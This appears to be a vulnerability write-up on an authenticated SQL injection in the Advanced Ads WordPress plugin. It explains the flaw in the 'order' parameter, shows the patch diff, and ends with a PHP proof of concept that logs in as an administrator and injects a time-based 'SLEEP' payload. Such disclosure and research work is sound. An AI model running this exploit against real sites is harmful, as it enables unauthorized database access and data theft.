Atomic Edge analysis of CVE-2025-12984:
The Advanced Ads WordPress plugin, up to and including version 2.0.15, contains an authenticated SQL injection vulnerability. This flaw exists in the plugin’s admin placement list table functionality. An attacker with administrator privileges can exploit this to execute arbitrary SQL commands on the underlying database.
Atomic Edge research identifies the root cause as insufficient input validation and escaping of the ‘order’ parameter within the `get_orderby` method of the `Advanced_Ads_Admin_Placement_List_Table` class. The vulnerable code is located in the file `/advanced-ads/includes/admin/class-placement-list-table.php`. On line 262, the plugin directly uses user-supplied input from `Params::get(‘order’, ‘asc’)` within an SQL `ORDER BY` clause without proper sanitization. This allows an attacker to inject SQL syntax into the constructed query.
Exploitation requires an authenticated user with administrator-level access. The attacker sends a crafted HTTP request to the WordPress admin area, targeting the endpoint that renders the placement list table. The attack vector is the `order` parameter, typically passed via GET or POST. A payload like `asc; SELECT SLEEP(5)–` could be used to test for time-based injection, or a UNION-based payload could extract data from other database tables.
The patch, applied in version 2.0.16, fixes the vulnerability by strictly validating the `order` parameter’s value. The fix changes line 262 in `class-placement-list-table.php`. The new code converts the input to uppercase and checks if it is exactly ‘DESC’. If it is, the value is set to ‘DESC’; otherwise, it defaults to ‘ASC’. This whitelist approach ensures the parameter can only be one of two safe, expected values, preventing any SQL control characters from entering the query.
Successful exploitation allows an attacker with administrator access to perform arbitrary SQL queries. This can lead to complete extraction of sensitive data from the WordPress database, including hashed passwords, user emails, and other plugin-specific data. While administrator access is required, this vulnerability could be used for privilege persistence, lateral movement within a multi-site database, or data exfiltration following a separate compromise.
--- a/advanced-ads/advanced-ads.php
+++ b/advanced-ads/advanced-ads.php
@@ -10,7 +10,7 @@
*
* @wordpress-plugin
* Plugin Name: Advanced Ads
- * Version: 2.0.15
+ * Version: 2.0.16
* Description: Manage and optimize your ads in WordPress
* Plugin URI: https://wpadvancedads.com
* Author: Advanced Ads
@@ -37,7 +37,7 @@
}
define( 'ADVADS_FILE', __FILE__ );
-define( 'ADVADS_VERSION', '2.0.15' );
+define( 'ADVADS_VERSION', '2.0.16' );
// Load the autoloader.
require_once __DIR__ . '/includes/class-autoloader.php';
--- a/advanced-ads/includes/admin/class-placement-list-table.php
+++ b/advanced-ads/includes/admin/class-placement-list-table.php
@@ -259,7 +259,7 @@
return $order_sql;
}
- $order = Params::get( 'order', 'asc' );
+ $order = strtoupper( Params::get( 'order', 'asc' ) ) === 'DESC' ? 'DESC' : 'ASC';
$types_order = wp_advads_get_placement_type_manager()->get_order_list();
$types_order = array_keys( $types_order );
--- a/advanced-ads/includes/crons/class-ads.php
+++ b/advanced-ads/includes/crons/class-ads.php
@@ -39,7 +39,8 @@
* @return void
*/
public function save_expiration_date( Ad $ad ): void {
- $args = [ 'post_id' => $ad->get_id() ];
+ // use a simple array to prevent issues in PHP 8+.
+ $args = [ $ad->get_id() ];
$next = wp_next_scheduled( Constants::CRON_JOB_AD_EXPIRATION, $args );
if ( 0 === $ad->get_expiry_date() ) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12984 - Advanced Ads – Ad Manager & AdSense <= 2.0.15 - Authenticated (Admin+) SQL Injection
<?php
$target_url = 'https://target-site.com/wp-admin/'; // CHANGE THIS
$username = 'admin'; // CHANGE THIS - Admin username
$password = 'password'; // CHANGE THIS - Admin password
// Step 1: Authenticate and obtain session cookies
$login_url = $target_url . 'wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Get the login page to retrieve the nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*>/', $response, $matches); // Simple check for form
// Prepare login POST data
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . 'admin.php?page=advanced-ads-placements',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
// Step 2: Access the vulnerable placements page with malicious order parameter
// The 'order' parameter is passed to the get_orderby method.
$exploit_url = $target_url . 'admin.php?page=advanced-ads-placements&order=asc;SELECT+SLEEP(10)--';
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, false);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
// Step 3: Check for time delay indicating successful injection
$delay = $end_time - $start_time;
if ($delay > 9) {
echo "[+] Potential SQL Injection successful. Response delayed by {$delay} seconds.n";
} else {
echo "[-] No time delay detected. Injection may have failed or site is not vulnerable.n";
}
?>
